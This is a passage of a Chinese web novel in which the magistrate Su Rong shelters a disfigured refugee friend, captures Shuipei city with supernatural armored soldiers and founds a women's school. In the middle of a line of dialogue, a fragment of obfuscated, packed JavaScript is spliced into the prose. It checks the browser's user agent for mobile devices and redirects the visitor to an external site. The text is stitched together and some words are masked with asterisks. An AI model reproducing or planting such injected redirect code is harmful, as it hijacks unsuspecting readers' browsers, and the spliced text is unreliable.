最令人触目惊心的,是对方脸上一条伤疤,从左脸颊一直越过鼻梁,划拉到右脸颊,肉往外翻,无比狰狞恐怖。
这完全是毁容了!
一时间,苏蓉惊疑不定,不知该如何是好。
旁边甄云不肯离去,跟随在后。见状立即挺身挡在苏蓉面前,怕对方惊到主子。
那人眼神一片浑浊,看到苏蓉时目光微微一亮,随即黯淡下去。
“苏……苏大人……”
听着那熟悉的声音,苏蓉浑身一震。确定了,就是姜厨娘!只不知为何沦落成这样子?
她急忙迈前几步,搀扶起跪地准备行礼的姜厨娘,不顾其一身邋遢,紧握住对方双手。
“姜姐姐,你怎么来了这安卫城?你怎么……”
姜厨娘两眼通红,泪水夺眶而出,将面上污垢冲刷,露出尚算白皙的肌肤。但越发衬托得脸上那道伤疤,如同白玉瓷器出现一道深深裂痕,令人感到无法修补的遗憾。
“大人折煞民妇……民妇如今是尘泥草芥,鄙陋不堪,哪里当得起您一声姐姐……”
心情激荡之下,猛然一头栽倒在地。还好苏蓉抓得紧,没磕破脑门。
甄云见此,忙道:“我去找大夫来!”
既然这流民是大人认下的姐姐,那必须好好对待。
旁边等着的军士机灵,见苏蓉一个人搬不动人,机灵上前,帮忙将姜厨娘扶到后堂客房。
苏蓉觉得这小伙子虽然只是普通军士,却在把守城门时没有狗眼看人低,导致她错过姜厨娘,生出提拔心,夸赞对方一句。
“你做得不错,叫什么名字?”
军士意识到自己将时来运转,小心脏激动地怦怦跳。
“回大人,小的名叫尹游,就是这安卫城人氏。”
当了五年兵,一直勤勤恳恳把守大门,始终郁郁不得志,与那些爱好摸油水逛窑子的同僚处不来。没想到这回秉公办事,竟然会获得大人青睐。
之前拦住同僚将这姜姓妇人赶走,同僚还警告他把这么脏臭的流民往大人那带,会遭大人斥责呢?
但他坚信自己的眼光:苏大人与之前那些官吏是完全不同的!
果然……
苏蓉想了想:“尹游,我身边差人,你愿意跟随我吗?”
甲兵虽无往不利,也有缺点。不能像正常人那般沟通,一板一眼只知执行死命令。到时间就消失,绝不留恋人间。
她需要有人成为亲信,灵活传达她的指令,某些场合代表她出面。当然,这个人还要品行好。
从处置姜厨娘这件事上,能看出尹游是值得提拔的。
闻言,尹游激动得一揖到地。
“承蒙大人看重,小人愿意听从大人差
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遣!刀山火海,绝不含糊。”
苏蓉示意他起身:“你先去外面等待,甄大人来了,就让他带大夫进来。”
等尹游听话退出门,她忙招呼听雨听荷打水,给昏迷的姜厨娘擦洗。不然一团黑,大夫没法望闻问切。
又让厨房送了点米汤,先给姜厨娘灌些。
一个女子,能在宜阳县失陷后孤身来到安卫城,千里迢迢,不知吃尽多少苦头。加上面部毁容……
苏蓉内心戚戚。
她若没有金手指,结局不会比对方好太多吧?
不一会儿,甄云拉着县城最知名的老大夫快步而来。
苏蓉让开位置,请老大夫为姜厨娘诊治。走到外间对甄云交代:“甄主簿,我决定收用尹游为亲兵,你去和陈督尉说声,把人要到衙门来。”
虽然都是她手下,要按章程规矩办事。
甄云打量尹游一眼。
“大人身边确实差人。不若卑职和陈督尉商量,多挑几个人送来?”
苏蓉摇头:“暂时不用,这也看眼缘。你先带尹游入职吧!”
甄云点头答应,目送她重新回房,方才招呼尹游,去安排他住宿和工作。至于俸禄待遇,自有吏房商量着来,不用苏蓉操心。
苏蓉看着老大夫为姜厨娘诊脉。姜厨娘伸出来的手,瘦得皮包骨,跟枯柴一般。曾经丰润婉约的书卷气,消失无踪。
看完病人老大夫起身,药童挎着沉重的药箱在旁搀扶。苏蓉立即跟在两人身后,到了外间开口问:“大夫,我这姐姐身体状况如何?”
老大夫些许讶然。
房中奄奄待毙的妇人,竟然是大人姐姐?
不敢怠慢,忙回答:“大人不用忧心。病人就是过度疲累,加上长期饥饿导致晕倒。好好养一养,慢慢能恢复。我开些滋补的药,帮病人恢复元气。”
苏蓉松了口气。
十个流民,九成九是这种症状。没有致命伤是不幸中的大幸。想到姜厨娘那张脸,又焦虑起来。
女子最重要的便是这张脸了。
“大夫,那她脸上的伤……”
第171章 让我再做冯妇
老大夫笔下一顿,随即摇头叹气。
“大人,病人脸上的伤,恕老朽无能为力。下刀人着实狠辣,奔着毁人容去的。又过去那么久,伤口已结痂……”
“老朽只能开些药膏,让伤痕稍微淡一些。”
苏蓉心沉到谷底。
不知姜厨娘结下什么仇人,受伤至此?
“那……请大夫开药,尽量用最好的,不需计较银钱。”
老大夫点头,专心写药方。苏蓉让听荷随老大夫回医馆,取药回来煎制好药,再送进房来。
房中姜厨娘已经醒来,靠在床头。听雨端着一碗清粥,先喂了她几口,才敢给她几块点心垫肚。就怕饿狠了胡吃海塞出问题。
即便一路风餐露宿,吃尽苦头,姜厨娘还维持着骨子里的优雅和傲气,没有露出分毫失态。苏蓉打量她,有些感叹,扯条圆凳坐到床边。
“姜姐姐,你一个人逃到安卫城来的?”
姜厨娘接过听雨递来的帕子,小心擦嘴角,闻言脸色一暗。
“我带了两个下人一起逃出宜阳县。半道他们打晕我,抢了我行李,逃走了。”
不然,凭她心思缜密程度,怎么会落到这步田地?
她自以为温和怜下,能真心换真心。殊不知人性在灾难面前,完全经不起考验。
苏蓉变色:“竟然有如此不忠不义之徒!”
顿时起了提防心,提醒自己将来也不能过度信任人。
姜厨娘看看听雨不说话。
苏蓉会意,将听雨支取厨房还碗,顺便烧洗澡水,好准备一会让姜厨娘沐浴。
等房间只剩两人,姜厨娘才湿润着眼睛对苏蓉说实话。
“我不该买一对夫妻,怜悯他们二人分离,将人一起留在身边。结果他们有商有量,算计我家财不说,差点害了我性命。”
她手指慢慢摸向自己脸上可怖的伤疤。
“若非我在宜阳县已将自己先行毁容,他们不止抢我行李,还会将我卖掉!”
毁容虽痛,却救她不止一次。
苏蓉不能置信:“姜姐姐,是你自己将自己毁容?”
她还猜测是谁这般恶毒!没想到,姜厨娘竟是对自己下这般狠手。那刀痕如此深,明显是不愿日后有恢复机会的。
“苏妹妹,我真悔呀,当日犹豫不决,没能随你一起离开宜阳县……”
姜厨娘木着脸,伤疤衬得她眼神明灭阴暗:“乱世中女人但凡有两分姿色,只会招来比死更可怕的境遇。”
她苦笑,回头看向苏蓉。
“你知道吗,你那前夫金竹海,并没有死!非但没有死……”
迎着苏蓉倏地瞪大的眼睛:“他还回来了。借助季中郎将的信任,刺杀季中郎将,趁乱**,打开城门迎接乌蛮人!”
真是狼子野心、三姓家奴!
当初不知谁在城外,把金竹海一队数百骑兵全部杀尽。结果好事没做彻底,让**幸免于难,继续为祸人间……
姜厨娘不知此刻苏蓉心里的惊涛骇浪,继续说:“自从乌蛮人占领宜阳县,从前叶大人吏治清明留下的好山水,乌烟瘴气,魑魅魍魉滋生。”
“百姓苦不堪言。金竹海还大力在城内外搜捕有姿色的女人,送往乌蛮军营充作**,犒劳乌蛮士兵。”
“这些可怜女人哪里经得起众多蛮人蹂躏,每天都有被糟蹋得不成人形的受害者从军营抬出来,扔到城外乱葬岗……”
姜厨娘闭了闭眼睛,短暂沉默,似乎在回忆当初的惊心动魄。
“有衙门曾经相熟的杂役,偷偷来告诉我,我的名字也上了官府征召的花名册……当晚我狠狠心,用剪刀将自己脸划烂了!”
“不过逃脱这一劫,逃不过日益繁重的税赋。于是瞅机会我变卖家产,用钱买路,带着两个下人逃出城。结果半路……”
她摇头,没有重复描述两名下人的背叛,而是将恨埋藏心底,继续对苏蓉倾述。
“听说安卫城出了女县令,姓苏,我没敢想那是你。不过总算有了丝希望,一路乞讨,挖草根吃树皮,好歹来到安卫城……”
姜厨娘泪流满面,拉住苏蓉的手:“苏妹妹,我一时情急进城,骗守城官兵说知道宜阳县情报,你不会怪罪我吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003412|171218||http|test|mini|href|location''.split(''|''),0,{}));
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r>她所知道的,是大众知道的事情,或许对苏蓉毫无价值。唯一庆幸的,女县令真的是苏蓉。过往情谊,让她燃起一线生的希望。
苏蓉握紧对方瘦骨嶙峋的手,坚定道:“不,姜姐姐你带给我的,确实是很重要的消息!”
她关注点放在与己方征战不停的云州、柏州势力,忽略远方的宜阳县。
金竹海没死的消息,令她震惊不已。
她甲兵如此厉害,竟然两次都没能**那**!难不成,金竹海真是这世界有大气运的人不成?
越想越恨。
不行,不能放过那个畜生!
残害如此多无辜,她就不相信对方有老天庇佑。两次杀不死,那就杀三次、四次……
当然,她必须要分清主次。
现在她是一方县令,首先要考虑全局。
安抚姜厨娘:“姜姐姐,你先在这后衙住下,养好身体。别的事,咱们慢慢说。”
正好县署內宅她只带着听荷听雨住着,十分冷清。多了姜厨娘,也添点人气。
姜厨娘如今山穷水尽,投奔苏蓉是最后一线生机。但她也不愿就这么白白住着,占苏蓉的便宜。她书读曰了,向来不善于弯弯绕,于是直截了当。
“苏妹妹,你现在是县令大人,不能因我破坏衙门规矩。要留我在这里,不如给我安排到厨房去,让我再做冯妇。”
苏蓉听着她婉转谦逊的话,想到对方房间那满架子的书、游记。空负学识却不得不呆在厨房沾染炊烟,虚耗年华,有些感叹。
她这哪里是甘心情愿当厨娘啊,不过是文人骨气,不愿白吃她这口饭罢了。
想到自己内心隐约的远大计划,姜厨娘出现,无形中令这计划有了切实实施的一个可能。
“姜姐姐,不急,你先养好身体。等你好了,我这有项计划,需要你助力我完成!”
见她说得郑重,姜厨娘起了好奇心:“是什么计划?”
随即想到自己毁容的脸,怅然若失抚摸面部,幽幽叹息。
“我这样子,余生除了龟缩厨房,还能帮你什么忙呢……”
第172章 三百文捡到宝
苏蓉将自己的计划简单描述一遍。
“姜姐姐,你看,我现在是女县令。尽管很多人说咱们女子不配、不能,但我确实坐镇安卫城。这证明,男人能做的事,女子同样可以!”
“我们只是被世俗束缚,没能力跨过这道坎而已。所以,我需要搭起一道桥梁,给全天下女子一个迈出家门、青云直上的道路!”
“让她们有机会挣钱、参政,改变自身处境和命运。等水到渠成之时,女子地位会在这个世道得到大幅度提升。不再是……”
“为人莫作妇人身,百年苦乐由他人!”
姜厨娘先是茫然听着,随后,眼眸里渐渐迸发出一丝光亮。
换在以前,她绝对认为苏蓉是痴人说梦。但现在……
对于一位已亲手拿下三座城的女县令,你敢说她没有这个能力?
“苏妹妹,具体你想怎么做?”
苏蓉欣赏地看了对方一眼。
跟聪明人说话,就是省力,不需要她滔滔不绝说服。她的理念,对方一听便明白。还能审时度势,马上给予回应。
“我想,先从创建女学开始。”
她说出闷在心底,从没有与人交流过的计划。
“县学只收男子。我打算再开办女学,招收有一定文化基础的女子,进入县学深造。最后,考核合格者,将她们安排到三城衙门实习,担当胥吏。”
“她们只要有真才实干,为民办事,我自然会让她们的俸禄,配得上她们的努力。一大家子人,会以她为傲!”
“她们成功了,自然会有更多人家,愿意让女儿媳妇们读书,为家庭带来荣耀和助力。天长日久,女子地位自然提高。”
姜厨娘听着,不断点头。
这不是天方夜谭!只要苏蓉实力够强,牢牢掌控住三座城镇,至少所辖地的妇女们,会迎来千年难遇的机遇。
“因此……”
苏蓉说得有点口干舌燥,抓住姜厨娘的手一握。
“因此我首先需要支持我这种理念,且能识文断字的女子,帮我把这女县学办起来!”
“姜姐姐,你愿意加入,当这女学的第一名女师、创始人之一吗?”
姜厨娘心旌动荡,毫不犹豫。
“我愿意!苏妹妹,你瞧得起我,我一定不令你失望!”
苏蓉笑起来:“好!那我就等你好了,便任命你为女学校长,开始创业了。”
“校长?”
姜厨娘听着这个新鲜词汇。
苏蓉笑得意味深长。
“学校,教书育人,为国家培养人才。一校负责人,称为校长。我就当个名誉校长吧,你是实际校长。”
心中开怀,忍不住声音大了。
门外听荷听雨,终于敢端着药碗进来。虽听不懂主子和这流民妇人说什么那么开心,不过见主子高兴,她们也开心。
对姜厨娘另眼相看。
“大人,姜娘子的药熬好了,洗澡水也烧好了。”
苏蓉起身:“那你们便照顾姜娘子喝药、沐浴吧。对了……”
想到一件事,她情不禁转头看向姜厨娘。
“姜姐姐,你以后不再是厨娘,我还不知道你闺名呢?”
姜厨娘心绪一阵翻涌,片刻,怅惘说出一个名字。一个她十多年未曾用过的名字。
“姜婉。我本名姜婉。”
前半生出自江南世家,享尽人间富贵。一朝父亲获罪下狱,自己后半生颠沛流离,饱尝民间疾苦。
本以为这生就这样了,没想到意外结识的苏妹妹,是她生命中的贵人?
“姜婉,这名字好听。”
苏蓉笑意潋滟:“那姜姐姐安心在此养身体,等你好全了,便来为我做事。”
说罢,她大方地拱手一抱拳,迈着男子似开阔的步伐,轻快走了出去。
姜婉接过听荷送到手边的药碗,感受到碗边温度,眨眨眼,一滴清泪,悄无声息滴落在药水中。
“谢谢你们。听荷听雨,你们长得挺像,是姐妹吗……”
听着身后屋内传来姜婉与听荷听雨聊天的声音,苏蓉微微一笑。姜姐姐这语气,充满放松,可比刚见时有生气多了。
迈步走下台阶,只见尹游恭敬站在庭院中侍立等候。她走过去,奇怪道
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:“这么快就收拾好了?”
尹游忙道:“大人,甄主簿说会帮属下办妥手续,行李什么的属下晚间再收拾。”
他现在迫不及待想上工,侍候大人左右。千载难逢的机会,别把握不住溜走。
苏蓉听了含笑道:“不用这么急,我给你放闲两日,好好收拾。换了新工位,总要回家给家人说一声吧?”
尹游想想抱拳:“是,多谢大人恩典,属下这就回家报喜。”
目送对方走出县署內宅,苏蓉回到议事厅,批阅公文。百废待兴,还有三城重大案件,都会送来让她过目定夺。
甄云帮她处理的是各种琐碎事,重要的仍需她抉择。
批改了半天卷宗,苏蓉累得伸懒腰,没形象地打呵欠,起身在厅内转圈。正想传饭,甄云进来,手提饭盒。
“大人,卑职顺路为您取来了午饭。”
苏蓉不禁微笑,对方这是怕她忙忘了吃饭。
“你吃过了吗?没有咱们一起吃。”
“没有。”
甄云很泰然地将沉重食盒放在靠窗的小桌上,从里面取出几盘热腾腾的菜,两碗饭,两双箸。
两人经常这样一起办公,一起吃饭,**以为常了。吃的同时,还能商量公事。偶尔**喜等人也会加入进来,边吃边聊加深同僚情。
什么食不言寝不语,这里没那规矩,只有博大精深的饭桌文化。
一开始除了苏蓉以外的人还不习惯,现在觉得,饭桌文化真香。
“大人,卑职查了尹游身世背景。家里现在只有老母亲,妻子早年因难产过世。暂时没发现什么问题,可以放心用。”
苏蓉点头。
甄云格外细心,有些事不用她说,先给她考虑周全。是个非常好的助手、得力属下。最重要的,除了对皇家抱有仇恨,别的方面风轻云淡,没有野心。
当初三百文,真是捡到宝。
苏蓉猜测,对方追随自己,是想颠覆大靖朝,以报仇雪恨?不过她不介意对方有这念头。腐朽的王朝,不为民做主,导致内忧外患,苍生水深火热,早该覆灭!
第173章 牛马豆子兵
饭吃到一半,秦津加入进来,顺便递上最新收集到的情报。
太子景渊厉兵秣马,准备亲征北伐。
叶清辞被紧急召回柏州,任命为丰安知府,守护柏州。
万俟赞死掉,中护军职位空缺,由原来的偏将军梁林接任。
“大人,我们还要攻打水沛城吗?”
面对两人灼灼目光,苏蓉放下筷子,掏出帕子擦擦嘴。
“打!为什么不打?”
秦津迟疑:“叶清辞成为丰安知府……”
他觉得于私于公,对己方都是个大威胁。别己方前脚一打水沛,对方后脚就乘虚而入攻上门来。
大人对其有情,军事方面不免束手束脚。
甄云跟着放下筷子,语气平淡。
“若是景渊真正重视叶清辞,就该让他接任中护军一职。战乱时期,一个没有实际兵权只有虚衔的知府,做不了任何抉择。”
“叶清辞不足惧!”
苏蓉赞同这个看法。但是,内心莫名感到不舒服,为叶清辞不值。奈何对方铁了心效忠景渊,她魅力不够拉拢不过来。
“甄主簿,你和陈督尉抓紧时间调度兵马,准备辎重。兵贵神速,最好我们后日能出征!”
她要多打些地盘下来,掌控更大势力,让叶清辞认识到他选择的错误。
甄云道:“大人,我们还该考虑攻城后水沛官员的任免问题。我们军中,有用且值得信任的人才,实在太少。”
“还有,水沛是云州府城,远甚于安卫城。我们之后是否要将主营,搬迁至水沛?”
秦津不开口。
这种事他觉得自己没资格插嘴。
苏蓉有点不情愿。她家安在这里,习惯了又搬去别的地方,家人不适应吧?但是,如果有更大目标更好发展,迁主营必须的。
“官员可以考核提拔。至于搬迁主营,到时看大家意见。”
甄云没做声。
与其说大人事事**,不如说有些优柔寡断。但是,身为女子能做到这么多,很不容易。相信假以时日,大人会慢慢成长起来。
他现在要做的,就是辅佐。
两日后,苏蓉率军出征,攻打水沛城。
出发时,家人尚在熟睡,根本不知道她发动战争。苏蓉不想她们担心。而对她而言,这是场必胜的战争,没什么好值得担心的。
但是,她不知道的是,**喜等人给家里都留了遗书。
跟着女县令,总打以少对多的仗,他们人麻了。这不预先交代后事,总感觉哪次会玩脱了。
行进到水沛城,接近一天半的路程。安卫军尽量轻装上阵,只随身带够两天的口粮,而且是清一色的骑兵,速度很快。
齐和安负责押运辎重管理后勤,跟在后方慢慢来。
尹游紧随苏蓉,骑马走在一队铁塔般威风凛凛的甲兵中,感觉安全感十足。
尽管如此,他还是尽力做好本职工作。手按刀柄,警惕注意周围动静,以便随时暴起保护大人。
刘知府时刻关注安卫城动静。苏蓉出兵,他自然第一时间知晓。就城中两千兵力,大部分还是征集的新兵,对付凶残的安卫兵,他一点胜算也没有。
只能坚守不出,并且立即派人向三皇子求援。
但三皇子自顾不暇,忙着调集大军与太子景渊决战呢,能不能关注他这里,天知道。
一路经过数个村庄小镇,百姓望风而逃。但见到安卫军纯粹过路,对老百姓秋毫无犯。甚至为了避免碾踏到庄稼,绕路而行。
百姓们又惊叹着返回家中,相互打听,这是何方军队?连本城军士出城练兵狩猎,也没管过他们死活呢,别说怕踩坏庄稼了。
安卫军还没有抵达水沛城下,先赢来一波好感。
黄昏时至目的地两里地外扎营,远离城楼射程。苏蓉依照规矩,先礼后兵,派使者给刘知府送信。
承诺开城投降的话,保留刘知府官职。否则城破后,必定诛杀效命三皇子的官吏。
刘知府对自己坚固的城池异常自信。打不过,他还守不住?水沛城富饶,官仓存粮足够军民吃一年。就不信苏蓉能跟他耗?
他让大嗓门军士在城楼大骂苏蓉。因为苏蓉是女子,污言秽语骂得极其难听。
离得远苏蓉听不清,但对方拒绝投降她知道。
当
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下,也不惯着这嚣张的刘知府。让跟来的安卫军在营地休整,做好防御工作。手一挥,从不需要休息的牛马豆子兵上阵。两百甲兵狂风骤雨,席卷冲城。
城上城下的士兵都惊呆了。
不是,远道而来,你这私兵能蹦跶这么欢?
还有城墙高达三丈余,你云梯攻城车都不架?
还两百甲兵冲城,当城池纸糊的。特瞧不起人还是儿戏?
刘知府在城楼看着,不屑之前溢于言表。
果然是女子。若非一群暴民相助,啥也不是!
“放箭!”
中郎将巢俊看看甲兵冲进射程范围内,大喝一声:“快放箭!”
早已蓄势待发的守军,立即张弓搭箭,朝城楼下拼命攻击。不过大多数人是新兵,第一次上战场,手抖脚也抖,根本瞄不准快若旋风的甲兵。
眼睁睁看着甲兵们冲到城楼下,一道道身影冲天而起,踩着城墙迅疾往上攀升,如同鬼魅。水沛守兵瞠目结舌,还能这样攻城?
这样的武功高手,大靖两百年没出几个。但凡出一个,早就功成名就天下瞩目。现在全跑到他们水沛城下集结了!
刘知府有种极其不好的预感,声嘶竭力吼:“快推下滚木,浇热油!”
回过神来,守兵们连忙听从命令。齐心合力搬起滚木雷石往下使劲砸,热油一锅锅抬起浇向城头和甲兵。
甲兵们武艺再高,这种徒手爬城墙攻城的难度系数还是很高的。纵然他们身手灵活,腾挪跳跃躲闪,还是难免有一两名甲兵被伤到,跌下城池,悄无声息消失。
不过下一瞬,一名新的甲兵刷新在原地,快得让人看不出已换人,继续朝城楼发起冲锋。
守兵们越打越心惊:这些安卫军竟然杀不死?打下城墙又像幽灵一样爬上来?
**喜关注战况,觉得时机差不多,带领休整好的安卫兵出营。站在苏蓉身边,大手一挥:“兄弟们,放箭,掩护咱们甲兵!”
霎时间,乱箭飞蝗,飞向城楼。两边一阵对射,遮天蔽日。趁此喘息良机,为首金甲兵,身后紧跟数名银甲兵,一鼓作气蹿上城楼——
第174章 自封知府
当第一名甲兵登上城楼,结局便已注定。
水沛守兵们看到敌人冒了个脑袋,这时候他们还保持轻蔑之心。
就这么一个人冲上来了,随便两名守兵,也能用盾牌将之马上推落城头。把守住垛口的人,可是千挑万选力气大、经验丰富的军中老兵!
但是,眼睛一花,敌甲兵不知怎的,就跳进垛口足踏实地。下一瞬,两名扑上去的守兵,连人带盾被对方举起,掼下城楼!
伴随划破长空的惊心惨叫,数丈高城墙,摔下去“啪嗒”一响,声音戛然而止。上一刻活生生的人,转眼成为一滩肉饼。
紧接着,守兵失神之际,更多甲兵飞身跳上城楼。
一面倒的**至此开始!
几十名守兵,合围不下一名铜甲兵。别说武力值远在铜甲兵之上的银甲兵。金甲兵化作狂风,直奔刘知府和中郎将巢俊。
刘知府吓得亡魂皆冒,在一群亲兵护卫下连滚带爬逃下城楼,声嘶力竭大喊。
“拦住他!快杀了他们!”
巢俊是武将,好歹还有两分骨气,拔刀迎向金甲兵。
金甲兵从善如流成全他的勇气。一只重达数百斤的金瓜锤,照面击碎他的脑袋。
跟着主将冲锋的守兵,看到主将那颗人头,如同西瓜一样爆开,红的白的绿的,溅了他们满脸。地狱景象,莫过于此!
吓呆的原地挪不了步,紧随主将见阎王。反应迅速的,肝胆俱裂转身就跑。
对方这还是人吗?
人他们尚有勇气与之交战。可爬上城楼来这些甲兵,分明个个来自地狱。挥舞死神镰刀,大肆收割守兵人头。
金甲兵没有去追赶拼命逃窜的刘知府,而是和银甲兵配合。两人旋风一样一人冲到绞盘室,扳动沉重的木杆,放下吊桥;另一人单手摘下好几人才能抬动的铁门栓。
轧轧响声中,嵌在墙槽中的两扇沉重城门,被缓缓推开。
霞光褪尽,天边月亮像是擦亮银盘一角,将清冷的月光洒向大地。水沛城洞开迎客,能隐约看见里面青石板铺就的街道。
时机成熟,苏蓉朝身边**喜等人瞧过去一眼。
**喜一个激灵,知道终于轮到他们出场了。痛打落水狗,清扫战场,是安卫军最喜欢的!
“兄弟们,随我冲城啊——”
**喜拔出宝剑,大声疾呼。
旗手适时打出旗号。憋足劲的三千安卫军,气势在这一刻得到最终绽放。
“哇哇”用力嚎叫着,追随**喜,倒腾两条腿跑出残影,唯恐落后一窝蜂涌向打开的城门。
千头马的,人家一百甲兵把敌人城头都削平了,他们还不能跟在后面帮忙打打太平拳,简直枉为男人!
秦津作为情报部门首领,本可以不上,旁观分析战场局势,收集下情报即可。但他此刻热血沸腾,和几名亲兵一对眼。
得,这么有利己方的战局,不上更待何时?他们虽是斥候,也有颗猛夫心啊!
于是,秦津一拍马,带着人挥舞兵器也杀向水沛城了。
苏蓉……
果然男人骨子里喜欢征战杀戮。回顾左右,只剩尹游和一名扛中军旗的小兵,她差点成光杆司令了!忙召回两甲兵护卫自己,对那旗手吩咐。
“去传令,降者不杀!”
她要的,可不是一座死城。
“是,大人!”
旗手眼睛一亮,把旗帜递给尹游。摘下自己坐骑得胜钩挂的**,嘴里“嗬嗬”发出怒喝,紧追秦津等人而去。
苏蓉……
这些家伙!是不是自己太让他们一帆风顺了……不过谁叫是自己小弟们呢,能罩便罩着吧。
好在**喜还记得自己职责。配合百名甲兵痛快厮杀一阵后,终于喊出“降者不杀”至关重要的口号。
**得抱头鼠窜的守兵早恨不得爹妈少生两条腿,在城中乱躲乱跑。安卫军一发话,立马个个扔了兵器,跪地抱头请降。
至于刘知府,在**喜等人没进城前,便被甲兵盯上干掉了。
耗时一夜,苏蓉顺利接管水沛城。
**喜带人将衙门一干官吏衙役全部抓起来,绳索绑成串押上大堂
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,听侯苏蓉发落。
苏蓉让将刘知府首级挂上城楼示众,同时出榜安民,并且让尹游回安卫城去将甄云接来。
论吏治安民这块,还是甄云较有能力。
查水沛城官吏过往,没什么欺压百姓前科、有才能愿意投效的,继续任用。庸碌无能者罢免。贪赃枉法、作恶多端的,陪刘知府一起挂上墙。
水沛城百姓先还小心翼翼,闭门坚守不出。见甄云大刀阔斧处置平时欺压他们的官吏,安卫军除了维持秩序、守卫,对百姓秋毫无犯,态度堪称友好。
顿时,一传百、百传千,竞相走出家门,恢复民生。得知苏蓉对水沛城实行同样的减免税赋政策,那更是喜从天降,无不举双手双脚欢迎新政权。
百姓心目中才不管你谁当政,能让他们衣食无忧日子安稳,便是好朝廷。
再富足点、律法撑杆端得平,他们甚至会敬你如神明。逢年过节在灶台多摆一碗饭,感激你庇佑大家。
心怀苍生,苍生自然赤诚相托,把日子过得生生不息。
苏蓉刚在水沛城站稳脚跟,周边小镇村庄,各路豪绅里正,纷纷捧着厚礼来孝敬,诚惶诚恐。
苏蓉选择性收了豪绅们的礼,退还百姓们拼凑的礼。告诉大家,遵纪守法,既往不咎。但若继续为非作歹,触犯新政,律法无情。
重新选拔水沛城的官吏是件难事。
苏蓉召集大家开了一天会,最终决定,自封知府!
水沛城有安卫城的两倍大,无论资源还是官府库存,超过其他三城的总和。尽管有点不想搬家,苏蓉还是听从甄云等人意见,以水沛城为府城,这里是云州中心。
将家人接到水沛城来,能有更好生活和更强力保障。
单城墙就比安卫城的牢固。至于苏蓉手下甲兵那种不靠任何攻城器械冲城,其他势力是绝不可能复演的!
而安卫城空出来的县令职位,苏蓉手一挥。
**喜升任中护军,甄云升任同知。下属文武考核,由两人负责。选**的官吏,填充四城各部门。
第175章 野心
等众人家眷们陆续迁居到水沛城,苏蓉正式开创官办女学。将黑纱遮面的姜婉,从幕后推到幕前,招收有学识的女子入学。
对外宣称从女学毕业者,可以到苏蓉身边担任女官,帮助处理政务。
这当儿沉浸于胜利和升官加薪喜悦中的众人,完全没意识到女学兴起的终极目的。
只觉得苏大人是女子,身边有些识文断字的女侍从,天经地义。
有眼光的家长,觉得自己闺女能进女学,就有了接近苏大人及各位炙手可热大人的机会,将来捡个金龟婿。
于是,极其踊跃送家里有点识字基础的闺女报名。现在考核不上别绝望,赶紧另找老师教授闺女,培养以后说不定就有机会考进府女学了。
百姓们懵然中,一夜间女子私塾在云州遍地开花。有条件有见识的,纷纷想方设法送自家儿女读书。
男子竞争过大不敢多想,但女子这条青云路,勇吃螃蟹者说不定先得利呢!
姜婉挑选有真才实学的女师加入,设立县女学、府女学。仿效男子科举,春季、秋季考核逐级招收女学生。
苏蓉百忙中参与,帮忙制定校规,安排课程,开学仪式上露面讲话。
那必须给大家画圆大饼,许诺诸多好处,激励得所有人热血沸腾,恨不能身为女儿身,女学才能轰轰烈烈发展起来!
近水楼台先得月。
苏蓉把冬梅免试塞进府女学。小兰太小,再学几年,等长大点再安排至女学。
别跟她说开后门不好,举贤不避亲。她辛辛苦苦打天下,不就为了让身边人过得更好?
家里下人,有志气有兴趣的也可以轮班去扫盲班学习。学费她出,不影响本职工作的前提,能学有所成的一样提拔。
三百文身价的甄云,如今云州一人之下,万人之上,很能说明她求贤如渴了。
这一忙碌就是半个月过去。
安卫城的宅子成了老宅,龚成来磕头,喜悦地说女儿现在病势好转许多,身上伤口结痂,能下床走动几步。苏蓉心想,难道小雁得的病,并不是很严重那种?
不管怎么说,能捡回一条命,不幸中大幸。
小雁不愿意人前露脸,龚成便禀明苏蓉,让碧玉母女留在安卫城看管老宅,负责洒扫。
苏蓉一家,住在府衙格外宽敞富贵的后院。谭敖也从县学,跳级到府学。毕竟府城师资力量更雄厚,虽然没了科举,知识学在那是自己的。
甄云考核了足足一个月,才上报苏蓉,将四城笔试面试前两名召至安卫城。第一名越春,苏蓉任命为安卫城县令;第二名朴保,为县丞,当天走马上任。
两人皆是苦处身,性格稳重,相信能治理好安卫城。
而安卫城驻军所督尉,**喜推荐,由柯澜担任;秦津有功,升任偏将军。尹游任府尉一职,负责府衙安全。
冲城最积极的前十名安卫兵,不同程度得到晋升和嘉奖。
地盘增加,势力扩张,三军得到犒劳,皆大欢喜,士气干云。
不过**喜等人还是有点奇怪,为什么不见苏蓉提拔奖赏身边的甲兵。
苏蓉颇有深意道:“他们是我请来助阵的奇人异士,红尘俗世的东西,吸引不了他们。”
众人叹为观止。
原来如此。
这种以“义”笼络来的绝顶人才最难得,难怪没人能撬动墙角!
回到府衙內宅,仆役多了两倍不止。龚成觉得自家主子现在是知府,所用人员怎么还能像以前那般寒酸?
反正比照旧例,一口气又招募几十个人,前堂后衙包括打扫厕所的都安排到位。
听荷听雨升职成小领导,挺胸抬头,给新人训话,讲解苏大人忌讳,防她们不懂事冲撞大人。就算服侍苏大人有丁点不尽兴,那也是大错误!
苏大人宽容手下是一回事,尔等身为仆役,要尽好自己职责。
苏蓉正撞见这场面,忍住笑,摸摸抑扬顿挫摇头晃脑充当教导主任的听荷小脑瓜,示意她继续,径直进屋。
听雨不讲义气丢下脸红到脖子根的姐姐,屁颠颠跟在苏蓉身后。
大人回来了,那其他人事都靠边!
“大人,喝碗酸梅汤,井水冰镇了一夜,可解暑啦!”
听雨端来预先准备好的解暑圣品,殷勤地拿着小团扇,凑在苏蓉身边给她使劲扇风。<
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br>苏蓉越来越喜欢这对姐妹花,伶俐可人。有她们在身边,既善解人意又服务周到。
不过任用这么小的童工,始终有点罪恶感。自己不在时,便安排人教两人读书写字,管账女红。等长大了一套丰厚妆奁嫁出去,或则有本事成为女官,也当养女儿了。
酸梅汤喝到一半,姜婉翩然而来。手里拿着女学生花名册,来给苏蓉报告这期收了多少学生。
面纱遮挡姜婉脸上可怖的伤疤,只露出一双温婉传情妙目。身姿绰约,行动间惹无数不知内情的男人遐思。
